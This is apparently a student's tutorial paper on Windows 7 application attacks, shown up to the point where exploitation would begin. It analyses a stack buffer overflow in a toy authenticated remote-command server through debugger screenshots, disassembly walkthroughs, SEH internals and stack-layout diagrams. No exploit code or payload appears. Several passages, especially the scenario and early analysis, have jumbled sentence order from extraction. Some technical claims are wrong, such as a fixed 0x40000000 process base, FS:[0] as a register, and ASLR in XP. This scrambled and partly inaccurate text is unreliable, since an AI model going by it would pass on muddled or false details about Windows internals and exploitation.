You are on page 1of 103

Application Attack Research Unit (AARU) On Windows 7 (By Amit Aggarwal

)

1

Application Attack Research Unit (AARU) On Windows 7
(By Amit Aggarwal)

(Computer Handle : Voila)

Introduction :
Hello friends , After my paper which explain, how we can infilterate( breaking integrity ) the database system of our jive 2010 website i.e www.jive-x.com , after 6 months I m back with my new research paper in which i will discuss the " Security of third party services running on WIN 7 " . Alternatively in this paper i will demonstrate , how we can breach the Security of Win 7 by attacking third party services running on the system . Windows 7 is the result of over four years of work and investment of billions of dollars . It is billed as most secured version of Microsoft Windows Operating system yet . It is the Operating System that secure all services running on the system from any break-in , thats why security technologies implemented in Windows operating system is such a big issue . In this paper i will also explain WIN 7 security concepts . To make this paper more understandable i divide the complete paper in two major parts one of which is "Vulnerability Analysis" and other is "Exploition of Vulnerability" . In "Vulnerability Analysis" i will show you , how we will find the vulnerability in the targeted service. "Vulnerability Analysis" again divided into two subparts "High Level Analysis " and "Low Level Analysis" . In "Exploitation of Vulnerability" i will show you , how we can exploit the Vulnerability to get control over the system .

Who i am :
I m Amit Aggarwal , 4rth year Computer Science student of Jaypee Institute Of Information Technology (University) Noida . My area of interest are Reverse Engneering , Vulnerability Analysis , developing new Exploitations techniques , developing fuzzers and interested in everything which concern with the Microsoft Products Security . Independently , I m working in this field from last four years . I have hand-on experience 2

with linux and its security issues . From last two years i m engaged with my Lovely Windows . At present I m researching on ASLR , DEP implemented on Windows Vista and Windows 7 . My Ultimate Aim is to revolutionize a most ignored topic "Computer Security" in India .

Tested Upon :
I have tested my testcases on Windows 7 and Windows Vista and i was successfully able to bypass securities of both operating system .

Words Before Journey :
Before i start , I like to clear few things , Here i m not going to show you any software on which when you click on "glittering green button" , it will hack the system for you or here i m not going to show you any five minutes trick which do a magic . If you are reading this paper with this mindset , its my advise to leave it now . Here I will use the complete manual approach from starting to end of the breaking into WIN 7 with indepth knowledge of security technologies implemented in Win 7 . One thing more , when i say hack the system . its doesn't mean when system get hacked , a windows will pop out and display administrator password and we begin to control the system forever . Actually our extend of control over the system , all depend on how much privileges we have , its all depend how the programmer codes the services , its all depend on the platform service running on , its all depend on the architecture of the CPU . May be you will find lots of spelling mistakes and formatting error in this paper because i m writting it in WordPad , which do not have dictionary to correct the spellings and i m not familiar with its formatting features , so Sorry for that . Guys , now relax and take a deep breath, because we are going to start a journey , on which way is made up of "Assembly Language" , pebbles of "CPU Registers" , and have only one support of "debugger" .

Scenario :
To Demonstrate , how to attack on the application , i have taken a very common scenario in which administrator handle its server remotely through a server program after authentication . 3

then obviously we become administrator and able to executed commands .exe" through which you can connect to the server . So we can think of this server programm is a way for administrator to execute commands on the server operating system remotely but after authentication . then he/she will be able to execute commands on the server i.. or we able to by pass the authentication code of the server at run time .I will use "myserver. you will be able to executed commands through your client programm . We also have a client programm "clientwin.. Here i will use screen shots extensively to show every command i m executing on my system . Debugger . If client able to authenticate . C " are tools in my arsenal to attack on WIN 7 via "myserver.exe" . but if somehow we get it . Don't worry it will get clear you when you start on . when client connect to it . it will take username and password ..... "myserver. Vulnerability Analysis : So as we donot know the username and password need for authentication .exe High Level Analysis : Screen shot of My Desktop . 4 .e on WIN 7 with Administrator privileges . after authenticate yourself . Lets start hitting our head against myserver.exe" is a server progr amm .. Here "Brain .exe" ( our target application ) as a server program running on system which has default installation of WIN 7 operating system . Now GET SET GO .

and run it on my machine .exe" . say i download it .exe) react for my inputs from client (clientwin. how it (myserver. so that now i can figure out . 5 .My Desktop So as attacker we know that target system running the program name "myserver.exe on my machine Screenshot will be like this . I run the myserver.. So we suppose to download it from the internet .exe).

.exe . Screenshot will look like this : 6 . our client programm .Server "myserver.exe" is running Now Run clientwin.

So now we have Point 1 -> Server sends string "Enter Username" . then after we connect to the server running .0. we execute command "clientwin. It is not necessary . Now move on . Screenshot look like this .clientwin.. server send a code say .1" . But for now just consider . look at below screenshot . that string "Enter Username" is send by server .0.. we get the string "Enter Username" send by server . keep this in mind .. '9' which is converted to string "Enter Username " by client ...exe 127. because it may happen .. 7 . this string is send by server . so as we donot know the username so enter the Username whatever you want ..exe is running See the above screenshot .

. and now i press the "Enter" button . Till now we have findout two things . so lets see whats happen in next screen shot . when i enter username = "idunknwousername" . Sever definitly have two strings 1 -> "Enter Username" (keep in mind) 2 -> "Enter Password" (keep in mind) Now we move on .here .. 8 .. Screnshot look like this . then it prompt for string "Enter Password" ... so i enter password="idunknowpassword" .

Screenshot will look like this .look at screenshot below : so ... but this time give the input a big string and lets see what will happen . 9 . And we also see that server is still running without any crash . when username and password are wrong then we get "Username and Passowrd Wrong" . Now again connect to the server ...

Exception throw by server myserver. "Enter Password" and throws an exception when a long string is send to the server .. Address= 0x61616161 Now when i click on " Ok " server terminates and exit .. server throws an exception . 10 .. Screenshot of server crash look like this .. First we send simple username and password to server . lets revise what we have done so far . like exception code =0xc0000005 . 2. so before we move forward . So actaully something goes wrong with server when a long string for username is send to it . Then we send long string to server .. server donot authenticate us .. then we noted down server throws an exception .... Then we note strings pattern for future analysis . This ends our " High Level Analysis " .exe .. when we look at the server . 1. "Enter Username" . Ok so for now we conclude few things which are ..... server sends . 3. Note each and everything in exception .then ..

4. Finally , we noted the exception code and address ..

Conclusion from High Level Analysis :
1. Server must hang in "recv" function (or recv like function ) to accept username after sending string "Enter Username" to the client . 2. Server must hang in "recv" function (or recv like function )to accept password after sending string "Enter Password" to the client . 3. When we send long string to the server , it throws an exception and terminates . It means server must have a exception handler to handle abnormal termination . I will unfold each and everything about exception , which terminates our server in our low level analysis .

Low Level Analysis :
Before I started out with Low Level Analysis , i suggest , if reader is not able to grab the things explained above , then read it again .. becuase i m sure , if he/she not able to get High Level Analysis , then there is no point , reader will be able to understand Low Level Analysis . Now load the myserver.exe in debugger . Scrrenshots will look like this ..

11

Debugger Window

Ohh this time its some crypted things . So before we move on . let me explain everything about this screen .. The next screen shot u will see , is of upper left side part i.e disassembly part of the exe file "myserver.exe" Screenshot of Disassembly :

12

Disassemble Window

heheeh .. I m really sorry , its really hard for me to make a good design .. well let move ahead . So as you can see in the above screenshot , left side has address .. this is the address of the RAM at which our exe will is loaded . Every prcocess loaded at starting address (base address) of 0x40000000 . But now you may think how its possible for every process to load at same address , then here the concept of Virtual memory , Page Table comes into picture , well i donot want to dive into it for now . Then in the middle you can see the machine code of the instruction , then on the right hand side you can see the assembly code of the instructions .. Now in next screen shot you will see the right down part of the "Debugger Window" i.e we call it stack memory .. ScreenShot of Stack Memory ......

13

Ok . but this time address is somewhat different from disassembler windows . now we are talking about stack segment . what i mean to say ) .Stack Window So in above screenshot we can see on left hand side again address ..e Register windows ScreenShot of Register Window: 14 . So now in next screen shot i will show you right upper windows i. it is becuase . because these address get randomize by kernel of WIN 7 (you will get it soon . it was code segment . We cannot depend on the address of stack segment .

Parity Flag 'P' . We can see the Eip register . eax = 0x76f01162 . and it points to the text segment of the kernel32 dll . Then we can see the carry flag 'C' .. it means instruction at this address is going to execute . Zero Flag 'Z' . now its time to understand the code of the myserver.Register Window In above screenshot you can see the register values . Assembly Assembly Assembly!!!!! : So . 15 . Auxilary Flag 'A' . We take a few instruction at a time and we will try to understand . For now these 3 screens are enough for us . soo on .exe from the disassembly window . which points to address 0x00401225 .

. so now EIP points to 0x00401225 . We call the concept SEH (Structure Exception Handling).h> #include <conio.h> #include <string. #include <stdio. To understand the code written in above snapshot .extension given by Microsoft . So suppose i write a C programm using C extension of Microsoft . We all write a code in C language . Structure Exception Handling (SEH) : It is the most prowerful and most complex concept from the Microsoft to handle abnormal conditons occurs in the process .okies . like this .e. So now i m going to explain it ahead .h> void main() { 16 . but we never ever use the C. its means execution of the myserver. i.. __try .exe gonna start from here . __finally . we have to understand a very basic / complex / powerful concept given by Microsoft to handle the abnormal termination of the process. __except .

it divides the 'a' with '0' .int a . If any exception will occur . } } So what this programm basically doing is .. code inside "__except" called exception handler . it returns EXCEPTION_EXECUTE_HANDLER (CODE IS '1' ) . If " expression " returns " EXCEPTION_CONTINUE_SEARCH (CODE IS '0' ) " . above prototype is really a overwhelming . then it means it instruct CPU to start execution from where it leaves .. We call "expression" as "filter" function . prototype of the "filter" function look like this .) { printf("hello this is Amit Aggarwal"). b...... } __except (. then CPU will leave the execution and begin to evalute the "expression" in () of __except block .. printf("%d".b). then CPU will execute instruction written in __except block and exit from the process . If after evaluating "expression" .expression. EXCEPTION_DISPOSITION __cdec1 __except_handler( struct _EXCEPTION_RECORD *exceptiorecord void *Establisherframe struct __CONTEXT *Contextrecord void *DispatcherContext ) yaa i know . __try { b=a/b.. So in our case it again begin to execute again b=a/b . but its really not hard to understand it . a=5 . if 17 .. then its means it search for the next exception handler to handle this exception . we have to write the code for "filter" of the above programm . But if "expression" returns the "EXCEPTION_CONTINUE_EXECUTION (CODE IS '-1' )" . Lets start . b=0. So to dive into the sea of assembly . which ultimately again cause a exception ..

So now its time to explain the memebers of the structure __EXCEPTION_RECORD . Second parameter of the Establisher . DWORD NumberParameters.e __struct ContextRecord . DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]. Definition of the __EXCEPTION_RECORD will be like this . struct __EXCEPTION_RECORD *exceptionrecord : It is a pointer to the structure __EXCEPTION_RECORD . struct _EXCEPTION_RECORD *ExceptionRecord. hey may be we have seen this code before also . Next is "PVOID ExceptionAddress" .h . its defnition is like this . typedef struct __ConextRecord { double Fpr0. it holds the DWORD Address of the instruction where the excpetion has been occur . it is vital parameter . here "ExceptionCode" will hold the code of the exception define in the headerfile NSTATUS. but for now we will leave it . typedef struct __EXCEPTION_RECORD { DWORD ExceptionCode. in the exception we generated on our "myserver. it is a pointer to the structure ContextRecord . ExceptionCode will be set to 0xc0000005 . Now we come back to our prototype of the function __exception_handler .. } EXCEPTION_RECORD.we take each parameter one by one .. DWORD ExceptionFlags. so now you begin to links the things . For "AccessVoilation" exception . 18 .exe " . double Fpr1. In our case exception was at address "0x61616161" . This structure holds the information about the exception occurs in the process . PVOID ExceptionAddress. so i start with . Then we come to third parameter i.. You can ignore rest of the members of this structure .

... where to look for __EXCEPTION_REGISTRATION ??? 19 . 1 ... } here fpr stands for "Floating Point Register" basically __CONTEXT structure contains the register value for a particular thread at particular moment .. finally we return one of the code value of -1 ... here "prev" is a pointer to the previous __EXCEPTION_RECORD . exception code and many more things .. OS will call the function __except_handler . __except . Now question is how OS come to know . So whenever ... double Fpr4. So it completes the explanation of the prototype of the __except_handler . so we have value of register . exception will occur ...double Fpr2.... double Fpr6....... 0 .... "handler" is a address of your handler . double Fpr5. double Fpr8.. ... then we can do whatever we want because all these paramters are filled by OS itself ....... double Fpr9... type of exception . double Fpr7. But now point is how OS come to know the address at which our exception handler is ??? Answer of this question is aonther structure named struct __EXCEPTION_REGISTRATION definitation of this structure is typedef __EXCEPTION_REGISTRATON { prev dd ? handler dd ? } This structure is build on the stack whenever there is use of __try { } . double Fpr3.

Snapshot of Linkist of exceptions : Link list of the Exceptions So you can see in the above snapshot . then in turn First EXCEPTION_REGISTRATION . So with this information . FS:[0] points to the TIB of the current thread . and the First DWORD of the TIB holds the address of the first __EXCEPTION_REGISTRATION . now i m converting my programm (above written) into inline asembly language . which always point to the TIB .e pointer to the Next EXCEPTION_REGISTRATION ) . There is a register FS:[0] .Answer of this question is the "Thread Information Block (TIB) " .. points to the location which has DWORD value of the "handler" and next DWORD value points to the previous (i. So finally it Linklist of the Exceptions formed like i have shown in the figure . 20 . TIB holds the address of the very first EXCEPTION_REGISTRATION . handler will point to the code of the "filter" . Last EXCEPTION_REGISTRATION 's prev always point to NULL .

// Change EAX in the context record so that it points to someplace // where we can successfully write ContextRecord->Eax = (DWORD)&scratch. struct _CONTEXT *ContextRecord .h> EXCEPTION_DISPOSITION __cdec1 __except_handler (struct _EXCEPTION_RECORD *ExceptionRecord .h> #include <conio. // Indicate that we made it to our exception handler printf( "Hello from an exception handler\n" ). // OR you can return the -1 value also } void main() { 21 . // Tell the OS to restart the faulting instruction return ExceptionContinueExecution.#include <stdio. void *Establisher . void *DispatcherContext) { unsigned i.h> #include <string.

. 0 ... } .... actaul start of __try block sub esp..........fs:[0] push ebp push 0xffffffff push ds:__scopetable push handler push eax mov fs:[0] ................ b=0 22 ----------------> call it state -1 ........... __asm { mov eax.. __try { b=a/b....int a ... esp push edi push ebx push esi mov [ebp-4] ........ a=5 ....... b=0....... 0x8 mov [ebp-24] ......b)........... 0 ------------------------> call it state 0 .*/ // Above __try block will be converted to this assembly code ... printf("%d"... /*...... b...

....... 24 } /* .. [ebp-18] push DS:__string call __printf 23 // restore the stack .... [ebp ............. .............*/ // Above __except.handler define above ...............................eax add esp ...28] div eax........ so end of try mov eax.. [ebp-24] mov [ebp-24]....... __asm { move esp ............................... a=5 -----------> again state goes to -1 ............... } .............................. code can be converted to assembly inline like this . [ebp-10] mov fs:[0]. 5 mov eax............... 0xffffffff ....) { printf("hello this is Amit Aggarwal")........................................... __except (.........mov [ebp-28] ... eax push DS:__format_string push eax call __printf mov [ebp-4] ........

fs:[0] push ebp push 0xffffffff push ds:__scopetable push handler push eax mov fs:[0] . b=0 . esp push edi push ebx push esi mov [ebp-4] . 3. 7. 2. If you look at the asm code for the __try block . 0 ------------------------> call it state 0 .. then first seven instruction corresponds to settingup the __EXCEPTION_REGISTRATION RECORD on the stack .} } // end of asm code So basically from above programm we come to know that . 0 mov [ebp-28] .28] 24 . 5 mov eax. then compiler will set the __EXCEPTION_REGISTRATION RECORD on the stack . 8. Now i like to give you a litlle explaintation about the asm code of the __try block . 9. 4. [ebp . 0x8 mov [ebp-24] . 6. 10. a=5 ----------------> call it state -1 . 11 mov eax. whenever programmer codes a __try and __except . __asm { 1. 5. actaul start of __try block sub esp.

when its value is 0 . In this insrtuction we push the address of the handler or we can say address of the filter . 2. allow fs:[0] to point to our __EXCEPTION_REGISTRATION RECORD . so end of try block } 1. In this we save the pointer to the TIB .div eax. it decided in which __try level we are .e the newly updated .e we save the address of the handler of previous __EXEPTION_REGISTRATION RECORD . ** Remeber ebp is also a member of the __EXCEPTION_REGISTRATION RECORD . eax push DS:__format_string push eax call __printf mov [ebp-4] . We push this value onto the stack . then its mean we are not in any __try block . in this we pushes value of ebp . 6. 0xffffffff -----------> again state goes to -1 . when value is -1 . [ebp-24] mov [ebp-24]. then its mean we have nested __try . if without moving to again at trylevel -1 . we can retain where the local variable of the caller function resides .. because . It is know as procedure prologue . Ebp will old the base address of the previous function . here i have skipped the explanation of this parameter to avoid any confusion . 25 . We push value -1 . 5.e the address of the __except_handler . i . because when we return from the function . In this instruction we pushes the store value of the eax . Microsoft call it "__trylevel " . i. i have skipped this thing to minimize any confusion . In this instruction we pushes the address of the scope table . i. 4. 7. then it means we are in __try block . we defined above . 3. now we have to push one more handler . In this instruction we . we move to trylevel 1 after 0 .

. so if you want to understand more about the SEH . my pleasure :) . I hope . **** Here i have explained about the SEH only that much . which enable us to understand the first 7 lines of our DIsassembly Windows . Well let me explain them again . 0x00401225: save previous handler 26 .Then in rest of instruction we have do all calculation like division and all . ************ Now we back to our Disassembly Windows . now you may be able to understand these instruction because these are same as i have explained above . so its snapshot again is : Snapshot of Disassembly Windows : So lets start . you can contact me.

0x0040122b: save previous base frame pointer . instead of every instruction . 2c : pointing the ebp to the current frame 2e: making trylevel to -1 30: pushing scope table address < leave it > 35: pushing address of the handler i. and Whenever i find any interested instruction . has been set to 0 . 0x00401225 : see [ebp-04] .e myserver. its means there is use of __try block in the myserver. Snapshot of Disassembly : 27 .exe Now lets move to Next screen shot of Disassembly Windows ..0040109a 3a: saving address of previous handler 3b: pointing the fs:[0] . i will explain it seperatly . to Current __EXCEPTION_REGISTRATION RECORD 42: saving the value of esp to [ebp-18] . Now i will explain about rest of the code in bulk .so that it can be retain later .

then it will set the various parameters at these address . Snapshot of disassembly : So we start from the top .00401557 . here programmer pushes 4 values . it paring the command line parameters and storing them on the addresses passes to it . then i hope you will be able to understand the first three instruction . then third value is a address 0x0040a030 .e call __GetMainArgs . After these values has been set by __GetMainArgs . "call myserver. Next snapshot will show you the code at address myserver. 0x004012ab . if you have understand the concepts i have explained above . all these address are refer to the DATA SEGMENT of the programm .So look at at address 0x00401288 i. See these values we are accessing in instructions at address 0x0040129f . Basically what the __GetMainArgs is doing is . Firstly we are pushing the ebp to save the value of ebp onto the stack . Here i m explaining again . So lets see what the code has been emmited by compiler . last value is 0 .00401557" . 0x004012a5 .. then we are making the 28 . So when __GetMainArgs will be called . It is basically from where the coding done by programmer starts up . second value is 0x0040102c . then there is a call at address 0x004012b7 . first value is again 0x0040a028 .

a=malloc(0x200).e Ebp=Esp . Then we look at the instruction at address 0x00401581 . the space is of 8b hex .The value return from the malloc is a pointer to the heap memory . So lets move forward .. then look at the sanpshot below . we allocate using malloc function . . So finally we can convert this statements like this . the current frame i. malloc function in runtime memory So in figure you can see the . then in the third instruction we are making the space on the stack . that pointer is push on the stack at address 0x0040158e . a is a value on the stack and its address on stack is ebp-30 So if you want to visualize it in figure . we push 200hex then we call the malloc function .... a is pointer to the heap . but definitely it is code written by programmer . 0xABCD is stored on the stack at address ebp-30 . 29 .. because its not we need to know .top of the stack . leave rest of the code in the above disassembly . but which basically a pointer to the heap memory .

Next snapshot you will see of disasembly continue. well code here not of our interest but still you can see that there is a call to function getaddrinfo() function ... 30 . then thrid parameter is '1' . Lets move ahead . which may be the hints . second paramter is port number which you can see "2700" . again next disassembly snapshot Continue . first parameter is 0 . and soo on . paramertes pass to it are .

instead of calling it from the library . Programmer pushes the address to teh string in DATA SEGMENT "Now i m Listening" . Strange thing is that it is a call to "printf" function . then it call the WSAGetLastError . Finally we can make the code like this . becuase here the return value from the socket . SOCKET_TYPE . is stored at the DATA SEGMENT at address DS:[40A0A0]. onto the stack .Here we can see the call to Socket function . so code can be like this one .. means sockeet has been created successfully . 31 .. If there is no error .. which will exit from the programm . so call to socket can be like this . socket(AI_FMAILY. and all the parameters pass it are resides in the DATA SEGMENT . then we can jump to the instruction at address 0x00401679 . Then programmer compare if return value is -1 . then it call a function at address 0x0040167E . IPPROTOCOL) Interesting instruction here is at address 0x0040163f . Here compiler for optimization . inline the definitlation of printf .

SOCKET_TYPE . } else { printf(""Now i m Listening "). compiler picks its value from the DATA 32 . So now there is call to "bind" function .x= socket(AI_FAMILY . } Now look at the Disassembly Continue . As you can see that . IP_PROTOCOL) if (x==-1) { call WSAGetLastError(). the four arguments . first of them is the Socket identifier . in which programmer passes ..

e DS:[40A0A0] . SOCKET_TYPE . } y=bind(x. } else { jmp 0x004016DA. } 33 . if(y==-1) { WSALastError().). IP_PROTOCOL) if (x==-1) { call WSAGetLastError(). So now we can make a code of myserver. its value is compare against -1 ..SEGEMENT i. and then do some clean up . at instruction at address 0x0040169D . it is the location where the SOCKET function stores its return value . After calling bind there its return value is stored onto the stack at address Ebp-C . } else { printf(""Now i m Listening "). then programmer calls the WSAGetLastError . If bind donot fail then there is a jump to the instruction 0x004016DA . WSACleanUp().. if it is -1 .exe x= socket(AI_FAMILY .

. 34 . At instruction 0x004016E2 . then call to listen occurs . Here is the call where the myserver. Then finally look the at instruction at address 0x00401727 . from here arguments are pushes onto the stack . then finally make a call to "accept" function .Now look at the Disassembly Continue : In above snapshot you can see the call to "listen function" . Now look at the disaasembly Continue. pushes the number of connection it can make simultaniously .exe first time hangs to accept connections .

35 . then again there is a call to WSALastError then call to WSACleanup ..00401955) .So here we get connection after call to accept function (look at instructions at address 0x00401731) .. then there is a jump to address 0x00401770 Things begin insteresting from here .. But if there accept call is successful .. Then the client Socket (the return value of accept function) is stored in DATA SEGMENT at address DS:[40A0A4] . If this value is -1 (look at instruction 0x0040173B) .00401995 Now look at the disassembly Continue . Now Client Socket has been pass to the function call at addres 0x00401776 (myserver. Now lets see whats in the code on function myserver..

00404919 . whose value will stored in the eax register . Then value of Eax will be passed on the stack look at address 0x00401980 .00404919 . we can see that arguments for malloc function is pushed onto the stack . finally which make the first byte of the allocated memory to NULL by instruction at address 0x00401986 . start from the address 0x00401973 . then malloc will return the pointer to the heap . 36 . then finally there is call to myserver. so 0x200 is passed to malloc ... then that value is moved in the register Edx . Then there is a call to function myserver. you can look this in the picture i have draw below ..So lets look at the code in this window . When we look at the call to myserver. and arguments to this function is a address which is stored at DATA SEGEMENT DS:[0040A00C] . then we will find that it is coping data "Enter Username" from DATA SEGEMENT to STACK . and address of the stack is also passed through the EDX register at instruction 0x00401991 .00404919 .

myserver.. Now if you want to look at the assembly code of the function myserver.. ... then snapshot is below .00404919 .. parameters pass to it are ebp-64 . 0x0040DC .00404919 .00404919 code below 37 .Coping Data from DATA SEGMENT to STACK See coping of data will be done only after the call to myserver. Now look at Disassembly Continue .

then at Label 2 ..At Label 1 . we can say it is counting the number of characters in the "EnterUsername" . So now move on . Further Disaasembly look like this of our main function .. let back to our main function .. it is coping string . 38 . because soon we are going to reach to the destination ..

first arguments is the SOCKET . After send the string to the client . First argument is the SOCKET . So here i m considering receive is successful . Now look at the Disassembly Code of the myserver. Now look at the instruction 0x004019C8 . then third arguments is size of the string "Enter Username" . then it hangs in the "recv" function .But if recv is successful . now note these things and moved on . Third arguments passed to it is size of the buffer which is stored at address ebp-70 .00401AD4 . as we can see there is a call to "send" function and arguments passed to it are . then we jump to 0x004019D8 .004019D8 39 .Here We will start from address 0x004019A6 . if number of recevied bytes are equal to 0 . then we pass the address of the buffer which is located at address ebp-68 . So lets closely look at the arguments passed to the "recv" function . then call to myserver. Second argument is address of the string . So after analysing "recv" function we come to know that recevied string will be stored at heap and the size of the allocated memory is 0x200 bytes . last argument is 0 .... then it move -1 to EAX . then there is jump to 0x004019D8 . THIS WAS OUR FIRST ASSUMPTION IN HIGH LEVEL ANALYSIS WHICH COMES TRUE .. fine ... the address of the buffer where we have to stored our received string is pointer to heap memory location .. Last argument passed to it is 0 .

00401919 with parameter of pointer to receivce string and address of the stack cause a Vulnerability . and first arguments is the address of the stack . So lets look how call to myserver. so for that we have to look at the code of the function myserver. Then in next instruction moving the pointer to the heap to ESI . then there is a call to some function mysever.e at address 0x004019DE . then in third instruction i.. its arguments are the pointer to the heap whch points to the Username enter by user . we make the (last byte+1) to 0 i.e NULL .00401919 . Look at the code of myserver. At instruction 0x004019D8 .exe 40 .0040919 .. return value from the recv moved to EDI register .00401919 MOST IMPORTANT CODE OF THE myerver..Ok . so lets start understanding this assembly code from address 0x004019D8.. which means number of bytes move to EDi register .

Then at address 0x0040491D . Then at address 0x0040431 .so i will start from the instruction at address 0x00401919 . counting the number of bytes in the string (which is in heap memory ). again doing the negtation so receive the actual number of bytes . exchanging the value of EDX and EDI Then at address 0x00404926 . simply moving ECX =-1 Then at address 0x00404924 . Coping of the data from heap (EDi) to (ESI) Vulnerability Exists in the Last instruction becuase here compiler will copy data from heap to the stack without any check on the size of the destination and source string . making EAX register to 0 Then at address 0x0040491f . Then at address 0x0040432 . 41 . there is exchange of the value of ESI and EAX . At this instruction pointer to the string is moved to the EDX register . Then ar address 0x004042D . address of the stack where receive string has to be copy is moved in the EAX register . Negetation of the number of bytes will be moved in the ECX register Then at address 0x0040428 .

then control finally returns to here . below code going to add to it to handle any abnormal terminateion of the //programm . after receving the password . Here Server after receving username coping onto the stack .exe : 1. It is the function which execute commnads on the WIN 7 . It is the function where the call to SOCKET . mov eax. then it matches it with hardcoded password . If password matched . 3. is the MOST INSTRESTING FUNCTION . 6.00401796 .00401557 of the myserver. ACCEPT occurs . First of all Compiler (Lcc) setting up its Exception handler onto the stack . if return value is 1 . and then prompt the user for password . Psuedo Code of mysevrer. Then there is call to main function myserver.exe ..00401955 . Here myserver.exe for quick overview : __asm { //settingup of exception handler by compiler .FS:[0] push __ebp push 0xffffffff push DS:<__scope_table_entry> 42 ..Quick Revise of Complete Disassembly of myserver. BIND . After return from the myserver. it is the function from where the programmer written code has been started . then it sets return value to 1 and return . because if username and password matched .00401955 . 2. The call to __getmainargs to set the enviroment variable and little stuff more . Then main function calls another function myserver. it is this function which deals with the send and recv of the username from the client . so whatever code written by //programm er. then there is a call to myserver.LISTEN . 4.00401796 . 5.

) call myserver.esp push esi push edi push ebx call __getmainargs (. 0x7fffffff) = accept(DS:[00404A0A0] ..) call bind(DS:[404A0A0] .00401557 (..push __except_handler4 push eax mov FS:[0].. 0) DS:[404A0A0] [ebp-C] [ebp-C] = = call [DS:00404A0A4] if ([DS:00404A0A4] != -1 ) { Label: jmp myserver. ...) listen(DS:[00404A0A0].) { __asm { <__procedure_prelogure> [ebp-30] = call malloc (0x200) = call socket(. } call myserver.00401557 ... 0 .........00401770 } 43 ...

00401796 } } return } myserver. 0) same for password __eax= strcmp( [ebp-68] .6c ] = call recv(SOCKET.Label:myserver.00401955(__client_socket) if (__eax == 1 ) { call myserver.([ebp+8]--> pointer to heap) .00401770 { __eax= call myserver. 0 ) [ebp . ebp-64 . __data_size.00401955 (__client_socket) { __asm { <Procedure_prelogue> } [ebp-68] = malloc(0x200) call strcpy(ebp-64. "__hard_coded_password" ) if (__eax==0) 44 . __size_of_heap .DS:[0040A0Dc]) call send(SOCKET .

..00401852 } 45 ..00401AD4 } Label myserver.00401796(..4] if ([ebp -4] <= 0x1f ) { Label: } else { = call malloc(0x200) = call recv(DS:[0040A0A4] ..00401AD4 : return } myserver.) { __asm { <__procedure_prelogue> } [ebp-6C] [ebp-4] [ebp . 0A) jmp myserver.... .) = call WinExec([ebp-68] .{ Label : jmp myserver..

Exploitation of Vulnerability : So from here . then control of programm sends to the instruction myserver. myserver. ebp .. we have understand a very basic and most easy concept that i call "Run-Time 46 . values . 0 ) if ( [ebp . THE FINAL ONE .004001796 OUR HALF JOURNEY HAS BEEN OVER . our next interesting research starts .74 ] == -1 ) { shutdown(__CLient_Socket) } } Conclusion from Vulnerability Analysis : We conclude that .. __size_of_buffer .Label: myserver. "-1 " ) [ebp-74] = call send( __Client_SOCKET ..00401852 { call strcpy( ebp-68 . NOW GET READY FOR NEXT HALF .exe .. if username and password matched to the hardcoded .exe authenticate the client for username and password . To exploit the Vulnerability we found in the mysever.68 .

int d) { printf("i m Amit Aggarwal").a). i like to say that . Before i start with the topic .Process Memory Layout" . char b. mno( c. and it layout in memory in special way . abc(b. 47 . d ). a=c. ---------------------------------------------#include <stdio. like in "Vulnerability Analysis" we go thorugh only by DIsassembly Windows . printf("i m very good boy"). So lets start with the new topic "Run-Time Process Memory Layout" .h> #include <conio. b=m . int c) { int a . But here we have to go with Disassembly as well as Stack window . } void abc(char c . and sometime with "Register Window also" . then it becomes a process . like say i write a program .h> void start ( char m . Run-Time Process Memory Layout : Whenever a programm loaded into the memory .

Snapshot for stack memory of "start" function : 48 ..} --------------------------------------------------Stack memory layout of the above programm will be like this .. Lets take a closer look on the stack one by one . Snapshot of function "start" and "abc" in memory layout : Snap shot of both functions in memory .

As i have explained each and everything in the snapshot itself . the arugments of "start" function onto the stack .Stack Window for "start" function . Now take a look at the snapshot of call to "abc" function by "start" function : 49 . here it is 'm' and 'c' . Then after that exectuion of the "start" function starts . when "start" function is called by some function . then before calling the start function CPU pushes the return address onto the stack . But one interesting thing here to noted down is the "saved eip" value in the snapshot .. then that somefunction pusehes . it is the address where CPU has to resume the execution after returning from "start" address . Then when that somefunction call the "start" function . after all whats it is ?? Basically .

Now lets see all these in the debugger to take a feel of reality . CPU pushes the address of the instruction in "start" function onto the stack ..Stack grows toward lower memory address I hope you will be able to understand evrythign from the above pic .. 50 . So when the function "abc" returns to "start" . then when it call "abc" .e 'a' . First of all take a look at the code of disaeembly of which we are going to see the stack memeroy layout . see this time again before calling "abc" by start . then continue execution from there .. then execution of the function "abc" starts . 'b' . "start" pushes the arguments to "abc" i. then CPU will pick the return address from the "saved eip" from the stack . then first of all .

and then try to understand how the stack memory formed for the process . it is the address of the Dll named kernel32 . we will start reading disassembly . CPU has to resumes its execution from saved EIP i. we can see that there is a address 0x77A51174 . Now look at the disassembly Windows . As we know that it is a function called by some function . 51 . so there must be return address onto the stack . FIrst look at the Stack Window . disassembly . so lets see. look at the stack windows instruction 0x0012ff8c . register Windows at same time So here . After returning from current function .Snapshot of Disassembly stack and register window at same time : stack .e 0x77A51174 .

msvcrt. Most important point is about the saved EIP on the stack . Instrction at address 0x00401235 : we can see that address of the EXCEPTION HANDLER is push onto the stack . WIN 7 .exe will be loaded at a very fix address . you can see the stack at address 0x0012FF84 . take a look at the stack at address 0x0012ff75 . msvcrt. then kernel32.. Instrcution at address 0x0040123A : here we can see that pointer to the previous exception handler has been pushes onto the stack . Instruction at address 0x00401230 : here we can see that address of the DATA SEGMENT pushes onto the stack . After this instruction we can see the register windows and see the value of EBP . Address space randomization hinders some types of security attacks by making it more difficult 52 . so now look at the stack windows at address 0x0012FF8 . but ESP points to the TOP of the stack .dll will be loaded at a particular address everytime mysevrer.dll .dll . Instruction at address 0x0040122C : here value of ESP moves to value EBP . To understand this tecnique .exe on the OS where ALSR is not implemented . Then when i run my mysever. This is the first push on stack of current frame . See till now EBP still points to previous frame stack base . Instruction at addess 0x00401228 . look at the stack at address 0x0012FF78 . it just save the pointer to the TIB .instruction at address 0x00401225 doesnot pusesh anything onto the stack .dll . Instruction at address 0x0040122E : here -1 is puses onto the stack after pusing EBP .exe will be loaded . then suppose whichever Dll needed by my programm myserver. it means now our EBP begin to points previous saved EBP . which points to the saved previous framed EBP . here value is 0xFFFFFFFF . we have to understand what happens before implementing ASLR . WIN VISTA . pushes the previous frames EBP onto the stack . for example suppose my target programm needs . When ALSR was not implemented by Microsoft . here the value of EBP is stored . I hope it make u able to understand how the stack formed at runtime from the disassebmly windows . kernel32. Basic Security Concepts of WIN 7 : Address Space Randomization Layout (ASLR) : ASLR is the mitigation technique implemented by Microsoft in WINDOWS WIN XP . whenever any call occurs .

